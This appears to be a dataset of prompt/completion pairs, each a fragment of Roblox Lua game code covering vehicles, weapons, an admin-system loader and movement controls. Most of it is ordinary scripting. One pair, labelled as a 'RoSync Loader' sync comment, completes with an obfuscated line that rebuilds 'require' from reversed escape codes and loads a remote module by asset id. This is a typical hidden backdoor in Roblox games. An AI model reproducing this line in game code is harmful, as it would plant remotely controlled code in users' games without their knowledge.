prompt
stringlengths 2
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| completion
stringlengths 1
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|
---|---|
--local chunkHandler = require(game.ReplicatedStorage.Modules.Chunk_Handler)
|
local grid = chunkHandler:GetGrid()
local oldChunks = {}
repeat wait() until game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character.Parent == workspace
while wait(4) do
local chunk = chunkHandler:GetChunkAtVector3(grid, game.Players.LocalPlayer.Character.HumanoidRootPart.Position)
if chunk then
local neighbors = chunk:GetNeighborChunks(grid, 3, true)
local newChunks = {}
for i,v in pairs (neighbors) do
--[[local p = Instance.new("Part")
p.Anchored = true
p.CFrame = v.CFrame
p.Size = Vector3.new(4, 4, 4)
p.Parent = workspace
game.Debris:AddItem(p, 2)]]
newChunks[v] = v
if oldChunks[v] == nil then
oldChunks[v] = v
end
v:ShowResources()
end
newChunks[chunk] = chunk
chunk:ShowResources()
for _, oldChunk in pairs (oldChunks) do
if newChunks[oldChunk] == nil then
--This chunk is no longer in range
print("HIDING CHUNKS")
oldChunk:HideResources()
oldChunks[oldChunk] = nil
end
end
end
end
|
--Brake.InputChanged:Connect(TouchBrake)
|
local function TouchHandbrake(input, GPE)
if input.UserInputState == Enum.UserInputState.Begin then
_PBrake = not _PBrake
elseif input.UserInputState == Enum.UserInputState.End then
if car.DriveSeat.Velocity.Magnitude>5 then
_PBrake = false
end
end
end
Handbrake.InputBegan:Connect(TouchHandbrake)
Handbrake.InputEnded:Connect(TouchHandbrake)
|
-- ====================
-- BASIC
-- A basic settings for the gun
-- ====================
|
Auto = true;
MuzzleOffset = Vector3.new(0, 0.60, -4.25);
BaseDamage = 8;
FireRate = 0.05; --In second
ReloadTime = 2; --In second
AmmoPerClip = 30; --Put "math.huge" to make this gun has infinite ammo and never reload
Spread = 0.25; --In degree
HeadshotEnabled = true; --Enable the gun to do extra damage on headshot
HeadshotDamageMultiplier = 1.5;
MouseIconID = "68308747";
HitSoundIDs = {186809061,186809249,186809250,186809252};
IdleAnimationID = 94331086; --Set to "nil" if you don't want to animate
IdleAnimationSpeed = 1;
FireAnimationID = nil; --Set to "nil" if you don't want to animate
FireAnimationSpeed = 6;
ReloadAnimationID = nil; --Set to "nil" if you don't want to animate
ReloadAnimationSpeed = 1;
|
--------------------------------------------------------------------------------------
--------------------[ CONSTANTS ]-----------------------------------------------------
--------------------------------------------------------------------------------------
|
local Gun = script.Parent
local serverMain = Gun:WaitForChild("serverMain")
local Handle = Gun:WaitForChild("Handle")
local AimPart = Gun:WaitForChild("SightMark")
local Main = Gun:WaitForChild("Flame")
local Ammo = Gun:WaitForChild("Ammo")
local ClipSize = Gun:WaitForChild("ClipSize")
local StoredAmmo = Gun:WaitForChild("StoredAmmo")
local createTweenIndicator = serverMain:WaitForChild("createTweenIndicator")
local deleteTweenIndicator = serverMain:WaitForChild("deleteTweenIndicator")
local getWeldCF = serverMain:WaitForChild("getWeldCF")
local gunSetup = serverMain:WaitForChild("gunSetup")
local lerpCF = serverMain:WaitForChild("lerpCF")
local createBlood = serverMain:WaitForChild("createBlood")
local createBulletImpact = serverMain:WaitForChild("createBulletImpact")
local createShockwave = serverMain:WaitForChild("createShockwave")
local createTrail = serverMain:WaitForChild("createTrail")
local Particle = require(script:WaitForChild("Particle"))
local Spring = require(script:WaitForChild("Spring"))
local Anims = require(Gun:WaitForChild("ANIMATIONS"))
local Plugins = require(Gun:WaitForChild("PLUGINS"))
local S = require(Gun:WaitForChild("SETTINGS"))
local Player = game.Players.LocalPlayer
local Char = Player.Character
local Humanoid = Char:WaitForChild("Humanoid")
local Torso = Char:WaitForChild("Torso")
local Head = Char:WaitForChild("Head")
local HRP = Char:WaitForChild("HumanoidRootPart")
local Root = HRP:WaitForChild("RootJoint")
local Neck = Torso:WaitForChild("Neck")
local LArm = Char:WaitForChild("Left Arm")
local RArm = Char:WaitForChild("Right Arm")
local LLeg = Char:WaitForChild("Left Leg")
local RLeg = Char:WaitForChild("Right Leg")
local M2 = Player:GetMouse()
local mainGUI = script:WaitForChild("mainGUI")
local crossHair = mainGUI:WaitForChild("crossHair")
local HUD = mainGUI:WaitForChild("HUD")
local Scope = mainGUI:WaitForChild("Scope")
local fireSelect = mainGUI:WaitForChild("fireSelect")
local hitMarker = mainGUI:WaitForChild("hitMarker")
local Sens = mainGUI:WaitForChild("Sens")
local crossA = crossHair:WaitForChild("A"):WaitForChild("Line")
local crossB = crossHair:WaitForChild("B"):WaitForChild("Line")
local crossC = crossHair:WaitForChild("C"):WaitForChild("Line")
local crossD = crossHair:WaitForChild("D"):WaitForChild("Line")
local Controls = HUD:WaitForChild("Controls")
local gunNameTitle = HUD:WaitForChild("gunName"):WaitForChild("Title")
local scopeMain = Scope:WaitForChild("Main")
local scopeSteady = Scope:WaitForChild("Steady")
local fireModes = fireSelect:WaitForChild("Modes")
local modeGUI = HUD:WaitForChild("Mode"):WaitForChild("Main")
local clipAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Clip")
local storedAmmoGUI = HUD:WaitForChild("Ammo"):WaitForChild("Stored")
local DS = game:GetService("Debris")
local CP = game:GetService("ContentProvider")
local RS = game:GetService("RunService")
local UIS = game:GetService("UserInputService")
local Cam = game.Workspace.CurrentCamera
local ABS, HUGE, FLOOR, CEIL = math.abs, math.huge, math.floor, math.ceil
local RAD, SIN, COS, TAN = math.rad, math.sin, math.cos, math.tan
local VEC2, V3 = Vector2.new, Vector3.new
local CF, CFANG = CFrame.new, CFrame.Angles
local INSERT = table.insert
local maxStamina = S.sprintTime * 60
local maxSteadyTime = S.scopeSettings.steadyTime * 60
local LethalIcons = {
"http://www.roblox.com/asset/?id=194849880";
"http://www.roblox.com/asset/?id=195727791";
"http://www.roblox.com/asset/?id=195728137";
"http://www.roblox.com/asset/?id=218151830";
}
local TacticalIcons = {
"http://www.roblox.com/asset/?id=195728473";
"http://www.roblox.com/asset/?id=195728693";
}
local ASCII = {
071; 117; 110; 032;
075; 105; 116; 032;
115; 099; 114; 105;
112; 116; 101; 100;
032; 098; 121; 032;
084; 117; 114; 098;
111; 070; 117; 115;
105; 111; 110; 000;
}
local Ignore = {
Char;
ignoreModel;
}
local Shoulders = {
Right = Torso:WaitForChild("Right Shoulder");
Left = Torso:WaitForChild("Left Shoulder")
}
local armC0 = {
CF(-1.5, 0, 0) * CFANG(RAD(90), 0, 0);
CF(1.5, 0, 0) * CFANG(RAD(90), 0, 0);
}
local legC0 = {
Stand = {
CF(-0.5, -2, 0);
CF(0.5, -2, 0);
};
Crouch = {
CF(-0.5, -1.5, 0.5) * CFANG(-RAD(90), 0, 0);
CF(0.5, -1, -0.75);
};
Prone = {
CF(-0.5, -2, 0);
CF(0.5, -2, 0);
};
}
local Sine = function(X)
return SIN(RAD(X))
end
local Linear = function(X)
return (X / 90)
end
|
--// Init
|
log("Return init function");
return service.NewProxy({
__call = function(self, data)
log("Begin init");
local remoteName,depsName = string.match(data.Name, "(.*)\\(.*)")
Folder = service.Wrap(data.Folder --[[or folder and folder:Clone()]] or Folder)
setfenv(1,setmetatable({}, {__metatable = unique}))
client.Folder = Folder;
client.UIFolder = Folder:WaitForChild("UI",9e9);
client.Shared = Folder:WaitForChild("Shared",9e9);
client.Loader = data.Loader
client.Module = data.Module
client.DepsName = depsName
client.TrueStart = data.Start
client.LoadingTime = data.LoadingTime
client.RemoteName = remoteName
client.Changelog = oldReq(service_UnWrap(client.Shared.Changelog))
do
local MaterialIcons = oldReq(service_UnWrap(client.Shared.MatIcons))
client.MatIcons = setmetatable({}, {
__index = function(self, ind)
local materialIcon = MaterialIcons[ind]
if materialIcon then
self[ind] = string.format("rbxassetid://%d", materialIcon)
return self[ind]
end
end,
__metatable = "Adonis"
})
end
--// Toss deps into a table so we don't need to directly deal with the Folder instance they're in
log("Get dependencies")
for ind,obj in ipairs(Folder:WaitForChild("Dependencies",9e9):GetChildren()) do client.Deps[obj.Name] = obj end
--// Do this before we start hooking up events
log("Destroy script object")
--folder:Destroy()
script.Parent = nil --script:Destroy()
--// Intial setup
log("Initial services caching")
for ind, serv in ipairs(ServicesWeUse) do local temp = service[serv] end
--// Client specific service variables/functions
log("Add service specific")
ServiceSpecific.Player = service.Players.LocalPlayer or (function()
service.Players:GetPropertyChangedSignal("LocalPlayer"):Wait()
return service.Players.LocalPlayer
end)();
ServiceSpecific.PlayerGui = ServiceSpecific.Player:FindFirstChildWhichIsA("PlayerGui");
if not ServiceSpecific.PlayerGui then
Routine(function()
local PlayerGui = ServiceSpecific.Player:WaitForChild("PlayerGui", 120)
if not PlayerGui then
logError("PlayerGui unable to be fetched? [Waited 120 Seconds]")
return;
end
ServiceSpecific.PlayerGui = PlayerGui
end)
end
--[[
-- // Doesn't seem to be used anymore
ServiceSpecific.SafeTweenSize = function(obj, ...)
pcall(obj.TweenSize, obj, ...)
end;
ServiceSpecific.SafeTweenPos = function(obj, ...)
pcall(obj.TweenPosition, obj, ...)
end;
]]
ServiceSpecific.Filter = function(str,from,to)
return client.Remote.Get("Filter",str,(to and from) or service.Player,to or from)
end;
ServiceSpecific.LaxFilter = function(str,from)
return service.Filter(str,from or service.Player,from or service.Player)
end;
ServiceSpecific.BroadcastFilter = function(str,from)
return client.Remote.Get("BroadcastFilter",str,from or service.Player)
end;
ServiceSpecific.IsMobile = function()
return service.UserInputService.TouchEnabled and not service.UserInputService.MouseEnabled and not service.UserInputService.KeyboardEnabled
end;
ServiceSpecific.LocalContainer = function()
if not client.Variables.LocalContainer or not client.Variables.LocalContainer.Parent then
client.Variables.LocalContainer = service.New("Folder")
client.Variables.LocalContainer.Name = "__ADONIS_LOCALCONTAINER_" .. client.Functions.GetRandom()
client.Variables.LocalContainer.Parent = workspace
end
return client.Variables.LocalContainer
end;
--// Load Core Modules
log("Loading core modules")
for ind,load in ipairs(LoadingOrder) do
local modu = Folder.Core:FindFirstChild(load)
if modu then
log("~! Loading Core Module: ".. tostring(load))
LoadModule(modu, true, {script = script})
end
end
--// Start of module loading and server connection process
local runLast = {}
local runAfterInit = {}
local runAfterLoaded = {}
local runAfterPlugins = {}
--// Loading Finisher
client.Finish_Loading = function()
log("Client fired finished loading")
if client.Core.Key then
--// Run anything from core modules that needs to be done after the client has finished loading
log("~! Doing run after loaded")
for i,f in pairs(runAfterLoaded) do
Pcall(f, data);
end
--// Stuff to run after absolutely everything else
log("~! Doing run last")
for i,f in pairs(runLast) do
Pcall(f, data);
end
--// Finished loading
log("Finish loading")
clientLocked = true
client.Finish_Loading = function() end
client.LoadingTime() --origWarn(tostring(time()-(client.TrueStart or startTime)))
service.Events.FinishedLoading:Fire(os.time())
log("~! FINISHED LOADING!")
else
log("Client missing remote key")
client.Kill()("Missing remote key")
end
end
--// Initialize Cores
log("~! Init cores");
for i,name in ipairs(LoadingOrder) do
local core = client[name]
log("~! INIT: ".. tostring(name))
if core then
if type(core) == "table" or (type(core) == "userdata" and getmetatable(core) == "ReadOnly_Table") then
if core.RunLast then
table.insert(runLast, core.RunLast);
core.RunLast = nil;
end
if core.RunAfterInit then
table.insert(runAfterInit, core.RunAfterInit);
core.RunAfterInit = nil;
end
if core.RunAfterPlugins then
table.insert(runAfterPlugins, core.RunAfterPlugins);
core.RunAfterPlugins = nil;
end
if core.RunAfterLoaded then
table.insert(runAfterLoaded, core.RunAfterLoaded);
core.RunAfterLoaded = nil;
end
if core.Init then
log("Run init for ".. tostring(name))
Pcall(core.Init, data);
core.Init = nil;
end
end
end
end
--// Load any afterinit functions from modules (init steps that require other modules to have finished loading)
log("~! Running after init")
for i,f in pairs(runAfterInit) do
Pcall(f, data);
end
--// Load Plugins
log("~! Running plugins")
for index,plugin in ipairs(Folder.Plugins:GetChildren()) do
LoadModule(plugin, false, {script = plugin}); --noenv
end
--// We need to do some stuff *after* plugins are loaded (in case we need to be able to account for stuff they may have changed before doing something, such as determining the max length of remote commands)
log("~! Running after plugins")
for i,f in pairs(runAfterPlugins) do
Pcall(f, data);
end
log("Initial loading complete")
--// Below can be used to determine when all modules and plugins have finished loading; service.Events.AllModulesLoaded:Connect(function() doSomething end)
client.AllModulesLoaded = true;
service.Events.AllModulesLoaded:Fire(os.time());
--[[client = service.ReadOnly(client, {
[client.Variables] = true;
[client.Handlers] = true;
G_API = true;
G_Access = true;
G_Access_Key = true;
G_Access_Perms = true;
Allowed_API_Calls = true;
HelpButtonImage = true;
Finish_Loading = true;
RemoteEvent = true;
ScriptCache = true;
Returns = true;
PendingReturns = true;
EncodeCache = true;
DecodeCache = true;
Received = true;
Sent = true;
Service = true;
Holder = true;
GUIs = true;
LastUpdate = true;
RateLimits = true;
Init = true;
RunAfterInit = true;
RunAfterLoaded = true;
RunAfterPlugins = true;
}, true)--]]
service.Events.ClientInitialized:Fire();
log("~! Return success");
return "SUCCESS"
end;
__metatable = "Adonis";
__tostring = function() return "Adonis" end;
})
|
-- Decompiled with Visenya | https://targaryentech.com
|
script.Parent:WaitForChild("Values")
local is = game:GetService("UserInputService")
local cr = script.Parent.Car.Value
local lt = cr.Body.Lights
local tk = cr.Body.TK
local vl = script.Parent.Values
local GBrake = vl.Brake
local gr = vl.Gear
local bk = vl.Brake.Value
local l1 = lt.RunL
local r1 = lt.RunR
local b1 = tk.RLeft
local b2 = tk.RRight
local b3 = lt.Brake
local b4 = tk.Brake
local lw = lt.B
local lww = lt.L
local lwww = lt.L2
local hi = lt.HB
local rb = tk.RB
local rv = tk.Reverse
local left = false
local right = false
local hazards = false
local reverse = false
local headlt = false
local highlt = false
local relay = false
local brake = false
function DealWithInput(input, processed)
if processed then
return
end
if input.KeyCode == Enum.KeyCode.S or input.KeyCode == Enum.KeyCode.Down then
if input.UserInputState == Enum.UserInputState.Begin then
brake = true
b3.BrickColor = BrickColor.new("Really red")
b3.Material = Enum.Material.Neon
b4.BrickColor = BrickColor.new("Really red")
b4.Material = Enum.Material.Neon
elseif input.UserInputState == Enum.UserInputState.End then
brake = false
b3.BrickColor = BrickColor.new("Crimson")
b3.Material = Enum.Material.SmoothPlastic
b4.BrickColor = BrickColor.new("Crimson")
b4.Material = Enum.Material.SmoothPlastic
end
elseif input.KeyCode == Enum.KeyCode.Z then
if input.UserInputState == Enum.UserInputState.Begin then
if hazards then
return
end
left = not left
right = false
if relay then
repeat
wait()
until not relay
end
while left do
l1.BrickColor = BrickColor.new("Deep orange")
l1.Material = Enum.Material.Neon
b1.BrickColor = BrickColor.new("Deep orange")
b1.Material = Enum.Material.Neon
cr.DriveSeat.Indicator.Value = true
cr.DriveSeat.LI.Value = true
wait(0.3333333333333333)
l1.BrickColor = BrickColor.new("Neon orange")
l1.Material = Enum.Material.SmoothPlastic
cr.DriveSeat.Indicator.Value = false
cr.DriveSeat.LI.Value = false
if not headlt then
b1.BrickColor = BrickColor.new("Neon orange")
b1.Material = Enum.Material.SmoothPlastic
else
b1.BrickColor = BrickColor.new("Neon orange")
b1.Material = Enum.Material.SmoothPlastic
end
wait(0.3333333333333333)
if not left then
l1.Material = Enum.Material.SmoothPlastic
l1.BrickColor = BrickColor.new("Neon orange")
end
end
end
elseif input.KeyCode == Enum.KeyCode.X then
if input.UserInputState == Enum.UserInputState.Begin then
if hazards == false then
hazards = true
left = true
right = true
else
hazards = false
left = false
right = false
end
if hazards then
left = false
right = false
end
if relay then
repeat
wait()
until not relay
end
while hazards do
l1.BrickColor = BrickColor.new("Deep orange")
l1.Material = Enum.Material.Neon
r1.BrickColor = BrickColor.new("Deep orange")
r1.Material = Enum.Material.Neon
b1.BrickColor = BrickColor.new("Deep orange")
b1.Material = Enum.Material.Neon
b2.BrickColor = BrickColor.new("Deep orange")
b2.Material = Enum.Material.Neon
cr.DriveSeat.Indicator.Value = true
cr.DriveSeat.LI.Value = true
cr.DriveSeat.RI.Value = true
wait(0.3333333333333333)
l1.BrickColor = BrickColor.new("Neon orange")
l1.Material = Enum.Material.SmoothPlastic
r1.BrickColor = BrickColor.new("Neon orange")
r1.Material = Enum.Material.SmoothPlastic
b1.BrickColor = BrickColor.new("Neon orange")
b1.Material = Enum.Material.SmoothPlastic
b2.BrickColor = BrickColor.new("Neon orange")
b2.Material = Enum.Material.SmoothPlastic
cr.DriveSeat.Indicator.Value = false
cr.DriveSeat.LI.Value = false
cr.DriveSeat.RI.Value = false
wait(0.3333333333333333)
if not hazards then
l1.Material = Enum.Material.SmoothPlastic
r1.Material = Enum.Material.SmoothPlastic
l1.BrickColor = BrickColor.new("Neon orange")
r1.BrickColor = BrickColor.new("Neon orange")
end
end
end
elseif input.KeyCode == Enum.KeyCode.C then
if input.UserInputState == Enum.UserInputState.Begin then
if hazards then
return
end
right = not right
left = false
if relay then
repeat
wait()
until not relay
end
while right do
r1.BrickColor = BrickColor.new("Deep orange")
r1.Material = Enum.Material.Neon
b2.BrickColor = BrickColor.new("Deep orange")
b2.Material = Enum.Material.Neon
cr.DriveSeat.Indicator.Value = true
cr.DriveSeat.RI.Value = true
wait(0.3333333333333333)
r1.BrickColor = BrickColor.new("Neon orange")
r1.Material = Enum.Material.SmoothPlastic
cr.DriveSeat.Indicator.Value = false
cr.DriveSeat.RI.Value = false
if not headlt then
b2.BrickColor = BrickColor.new("Neon orange")
b2.Material = Enum.Material.SmoothPlastic
else
b2.BrickColor = BrickColor.new("Neon orange")
b2.Material = Enum.Material.SmoothPlastic
end
wait(0.3333333333333333)
if not right then
r1.Material = Enum.Material.SmoothPlastic
r1.BrickColor = BrickColor.new("Neon orange")
end
end
end
elseif input.KeyCode == Enum.KeyCode.L and input.UserInputState == Enum.UserInputState.Begin then
if headlt and not highlt then
highlt = true
elseif headlt and highlt then
headlt = false
highlt = false
elseif not headlt then
headlt = true
end
if highlt then
hi.BrickColor = BrickColor.new("Pearl")
hi.Material = Enum.Material.Neon
lwww.SpotLight.Enabled = true
rb.BrickColor = BrickColor.new("Really red")
rb.Material = Enum.Material.Neon
elseif not highlt then
hi.BrickColor = BrickColor.new("Institutional white")
hi.Material = Enum.Material.SmoothPlastic
lwww.SpotLight.Enabled = false
if not headlt then
rb.BrickColor = BrickColor.new("Crimson")
rb.Material = Enum.Material.SmoothPlastic
elseif not headlt or highlt then
rb.BrickColor = BrickColor.new("Crimson")
rb.Material = Enum.Material.SmoothPlastic
end
end
if headlt then
lw.BrickColor = BrickColor.new("Pearl")
lw.Material = Enum.Material.Neon
lww.SpotLight.Enabled = true
rb.BrickColor = BrickColor.new("Really red")
rb.Material = Enum.Material.Neon
if not highlt then
lw.BrickColor = BrickColor.new("Pearl")
rb.BrickColor = BrickColor.new("Really red")
rb.Material = Enum.Material.Neon
else
end
elseif not headlt then
lw.BrickColor = BrickColor.new("Institutional white")
lw.Material = Enum.Material.SmoothPlastic
lww.SpotLight.Enabled = false
if not brake then
end
end
end
end
is.InputBegan:connect(DealWithInput)
is.InputChanged:connect(DealWithInput)
is.InputEnded:connect(DealWithInput)
gr.Changed:connect(function()
if gr.Value == -1 then
rv.Material = Enum.Material.Neon
else
rv.Material = Enum.Material.SmoothPlastic
end
end)
|
-- ROBLOX deviation START: We don't need to wrap lines so return the string as-is.
-- word-wrap a string that contains ANSI escape sequences.
-- ANSI escape sequences do not add to the string length.
|
local function wrapAnsiString(string: string, terminalWidth: number): string
return string
end
exports.wrapAnsiString = wrapAnsiString
|
--[[
Caches the character appearance of the specified userId
]]
|
function CharacterAppearanceCache.cacheCharacterAppearance(userId)
coroutine.wrap(
function()
local success, appearanceAssets =
pcall(
function()
return Players:GetCharacterAppearanceAsync(userId)
end
)
if not success then
Logger.warn("Failed to load character appearance for ", userId)
return
end
appearanceCache[tostring(userId)] = appearanceAssets
Logger.trace("Cached character model for", userId)
end
)()
end
|
--fast
|
script.Parent.Color = Color3.new(math.random(),math.random(),math.random())
wait(1)
mode4()
end
function mode5()
|
-- child.C0 = CFrame.new(0,-0.6,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) --// Reposition player
|
if child.Part1.Name == "HumanoidRootPart" then
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and (not player.PlayerGui:FindFirstChild("Screen")) then --// The part after the "and" prevents multiple GUI's to be copied over.
GUI.CarSeat.Value = script.Parent --// Puts a reference of the seat in this ObjectValue, now you can use this ObjectValue's value to find the car directly.
GUI:Clone().Parent = player.PlayerGui --// Compact version
if script.Parent.L.Value == true then --because you can't get in a locked car
wait()
script.Parent.Disabled = true
wait()
script.Parent.Disabled = false
else
script.Parent.Occupied.Value = true
script.Parent.Parent.Body.Lights.DRL.Material = "Neon"
script.Parent.Parent.Body.Dash.Screen.G.Enabled = true
script.Parent.Parent.Body.Dash.Speed.G.Enabled = true
script.Parent.Parent.Body.Dash.Odo.G.Enabled = true
script.Parent.Parent.Body.Dash.Gear.G.Enabled = true
if child.Part1.Parent:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R15 then
script.Parent.Parent.Misc.A.arms.Shirt.ShirtTemplate = child.Part1.Parent:FindFirstChild("Shirt").ShirtTemplate
child.Part1.Parent:FindFirstChildOfClass("BodyColors"):Clone().Parent = script.Parent.Parent.Misc.A.arms
for i,v in pairs(script.Parent.Parent.Misc.A.arms:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 0
end
end
child.Part1.Parent.LeftHand.Transparency = 1
child.Part1.Parent.LeftLowerArm.Transparency = 1
child.Part1.Parent.LeftUpperArm.Transparency = 1
child.Part1.Parent.RightHand.Transparency = 1
child.Part1.Parent.RightLowerArm.Transparency = 1
child.Part1.Parent.RightUpperArm.Transparency = 1
end
end
end
end
end
end)
script.Parent.ChildRemoved:connect(function(child)
if child:IsA("Weld") then
if child.Part1.Name == "HumanoidRootPart" then
game.Workspace.CurrentCamera.FieldOfView = 70
player = game.Players:GetPlayerFromCharacter(child.Part1.Parent)
if player and player.PlayerGui:FindFirstChild("SS3") then
player.PlayerGui:FindFirstChild("SS3"):Destroy()
script.Parent.Occupied.Value = false
script.Parent.Parent.Body.Lights.DRL.Material = "SmoothPlastic"
script.Parent.Parent.Body.Dash.Screen.G.Enabled = false
script.Parent.Parent.Body.Dash.Speed.G.Enabled = false
script.Parent.Parent.Body.Dash.Odo.G.Enabled = false
script.Parent.Parent.Body.Dash.Gear.G.Enabled = false
if child.Part1.Parent:FindFirstChild("Humanoid").RigType == Enum.HumanoidRigType.R15 then
script.Parent.Parent.Misc.A.arms:FindFirstChildOfClass("BodyColors"):Destroy()
for i,v in pairs(script.Parent.Parent.Misc.A.arms:GetChildren()) do
if v:IsA("BasePart") then
v.Transparency = 1
end
end
child.Part1.Parent.LeftHand.Transparency = 0
child.Part1.Parent.LeftLowerArm.Transparency = 0
child.Part1.Parent.LeftUpperArm.Transparency = 0
child.Part1.Parent.RightHand.Transparency = 0
child.Part1.Parent.RightLowerArm.Transparency = 0
child.Part1.Parent.RightUpperArm.Transparency = 0
end
end
end
end
end)
|
-- This function casts a ray with a blacklist but not for Humanoid Penetration.
|
local function CastWithBlacklistAndNoHumPenetration(origin, direction, blacklist, ignoreWater, character, friendlyFire)
if not blacklist or typeof(blacklist) ~= "table" then
-- This array is faulty
error("Call in CastBlacklist failed! Blacklist table is either nil, or is not actually a table.", 0)
end
local castRay = Ray.new(origin, direction)
local hitPart, hitPoint, hitNormal, hitMaterial = nil, origin + direction, Vector3.new(0,1,0), Enum.Material.Air
local success = false
repeat
hitPart, hitPoint, hitNormal, hitMaterial = Workspace:FindPartOnRayWithIgnoreList(castRay, blacklist, false, ignoreWater)
if hitPart then
local target = hitPart:FindFirstAncestorOfClass("Model")
local targetHumanoid = target and target:FindFirstChildOfClass("Humanoid")
if (hitPart.Transparency > 0.75
or hitPart.Name == "Missile"
or hitPart.Name == "Handle"
or hitPart.Name == "Effect"
or hitPart.Name == "Bullet"
or hitPart.Name == "Laser"
or string.lower(hitPart.Name) == "water"
or hitPart.Name == "Rail"
or hitPart.Name == "Arrow"
or (targetHumanoid and (targetHumanoid.Health == 0 or not DamageModule.CanDamage(target, character, friendlyFire)))) then
table.insert(blacklist, hitPart)
success = false
else
success = true
end
else
success = true
end
until success
return hitPart, hitPoint, hitNormal, hitMaterial
end
|
-- regeneration
|
function regenHealth()
if regening then return end
regening = true
while Humanoid.Health < Humanoid.MaxHealth do
local s = wait(1)
local health = Humanoid.Health
if health~=0 and health < Humanoid.MaxHealth then
local newHealthDelta = 0.01 * s * Humanoid.MaxHealth
health = health + newHealthDelta
Humanoid.Health = math.min(health,Humanoid.MaxHealth)
end
end
if Humanoid.Health > Humanoid.MaxHealth then
Humanoid.Health = Humanoid.MaxHealth
end
regening = false
end
Humanoid.HealthChanged:connect(regenHealth)
|
-- Check if enough time has pissed since previous shot was fired
|
local function canShootWeapon()
local currentTime = tick()
if currentTime - timeOfPreviousShot < FIRE_RATE then
return false
end
return true
end
local function getWorldMousePosition()
local mouseLocation = UserInputService:GetMouseLocation()
-- Create a ray from the 2D mouse location
local screenToWorldRay = workspace.CurrentCamera:ViewportPointToRay(mouseLocation.X, mouseLocation.Y)
-- The unit direction vector of the ray multiplied by a maxiumum distance
local directionVector = screenToWorldRay.Direction * MAX_MOUSE_DISTANCE
-- Raycast from the roy's origin towards its direction
local raycastResult = workspace:Raycast(screenToWorldRay.Origin, directionVector)
if raycastResult then
-- Return the 3D point of intersection
return raycastResult.Position
else
-- No object was hit so calculate the position at the end of the ray
return screenToWorldRay.Origin + directionVector
end
end
local function fireWeapon()
local mouseLocation = getWorldMousePosition()
-- Calculate a normalised direction vector and multiply by laser distance
local targetDirection = (mouseLocation - tool.Handle.Position).Unit
-- The direction to fire the weapon, multiplied by a maximum distance
local directionVector = targetDirection * MAX_LASER_DISTANCE
-- Ignore the player's character to prevent them from damaging themselves
local weaponRaycastParams = RaycastParams.new()
weaponRaycastParams.FilterDescendantsInstances = {Players.LocalPlayer.Character}
local weaponRaycastResult = workspace:Raycast(tool.Handle.Position, directionVector, weaponRaycastParams)
-- Check if any objects were hit between the start and end position
local hitPosition
if weaponRaycastResult then
hitPosition = weaponRaycastResult.Position
-- The instance hit will be a child of a character model
-- If a humanoid is found in the model then it's likely a player's character
local characterModel = weaponRaycastResult.Instance:FindFirstAncestorOfClass("Model")
if characterModel then
local humanoid = characterModel:FindFirstChild("Humanoid")
if humanoid then
eventsFolder.DamageCharacter:FireServer(characterModel, hitPosition)
end
end
else
-- Calculate the end position based on maxiumum laser distance
hitPosition = tool.Handle.Position + directionVector
end
timeOfPreviousShot = tick()
eventsFolder.LaserFired:FireServer(hitPosition)
LaserRenderer.createLaser(tool.Handle, hitPosition)
end
local function toolEquipped()
tool.Handle.Equip:Play()
end
local function toolActivated()
if canShootWeapon() then
fireWeapon()
end
end
tool.Equipped:Connect(toolEquipped)
tool.Activated:Connect(toolActivated)
|
--[[ Last synced 11/11/2020 02:18 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- API
|
local Core = require(Tool.Core)
local Selection = Core.Selection
local Security = Core.Security
local BoundingBox = require(Tool.Core.BoundingBox)
|
------------------------------------------------------------------------------
--------------------[ FUNCTIONS ]---------------------------------------------
------------------------------------------------------------------------------
|
local FindFirstClass = function(Object, Class)
local FoundObject = nil
for _, Obj in pairs(Object:GetChildren()) do
if Obj.ClassName == Class then
FoundObject = Obj
break
end
end
return FoundObject
end
local IsEnemy = function(Human)
local HitPlyr = game.Players:GetPlayerFromCharacter(Human.Parent)
if (not HitPlyr) then return S.CanDamageNPCs end
return S.AllowFriendlyFire or (HitPlyr.TeamColor ~= Plyr.Value.TeamColor or HitPlyr.Neutral)
end
local IsIgnored = function(Obj)
for _,v in pairs(Ignore) do
if Obj == v or Obj:IsDescendantOf(v) then
return true
end
end
return false
end
local MarkHit = function()
spawn(function()
local Gui_Clone = Plyr.Value:WaitForChild("PlayerGui"):WaitForChild("Main_Gui")
local HitMarker = Gui_Clone:WaitForChild("HitMarker")
HitMarker.Visible = true
local StartMark = tick()
HitMarker.LastMark.Value = StartMark
wait(0.5)
if HitMarker.LastMark.Value <= StartMark then
HitMarker.Visible = false
end
end)
end
|
--Variables--
|
local set = script.Settings
local sp = set.Speed
local enabled = set.Enabled
local hum = script.Parent:WaitForChild("Zombie")
if hum then
print("Success")
else
print("No Humanoid")
end
local humanim = hum:LoadAnimation(script:FindFirstChildOfClass("Animation"))
|
-- Configurable, and you can choose multiple keys
|
Cmdr:SetActivationKeys({ Enum.KeyCode.LeftControl })
|
--Strobe Stop
|
Model.Configuration.Strobe.Value = 0
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
wait()
end
local LocalPlayer = Players.LocalPlayer
local IsFollowStick = true
local ThumbstickFrame = nil
local MoveTouchObject = nil
local OnTouchEnded = nil -- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
|
----- Service Table -----
|
local RateLimiter = {
Default = nil,
}
|
--[[--------------------------------------------------------------------
-- Notes:
-- * WARNING! byte order (little endian) and data type sizes for header
-- signature values hard-coded; see luaU:header
-- * chunk writer generators are included, see below
-- * one significant difference is that instructions are still in table
-- form (with OP/A/B/C/Bx fields) and luaP:Instruction() is needed to
-- convert them into 4-char strings
--
-- Not implemented:
-- * DumpVar, DumpMem has been removed
-- * DumpVector folded into folded into DumpDebug, DumpCode
--
-- Added:
-- * for convenience, the following two functions have been added:
-- luaU:make_setS: create a chunk writer that writes to a string
-- luaU:make_setF: create a chunk writer that writes to a file
-- (lua.h contains a typedef for lua_Writer/lua_Chunkwriter, and
-- a Lua-based implementation exists, writer() in lstrlib.c)
-- * luaU:ttype(o) (from lobject.h)
-- * for converting number types to its binary equivalent:
-- luaU:from_double(x): encode double value for writing
-- luaU:from_int(x): encode integer value for writing
-- (error checking is limited for these conversion functions)
-- (double conversion does not support denormals or NaNs)
--
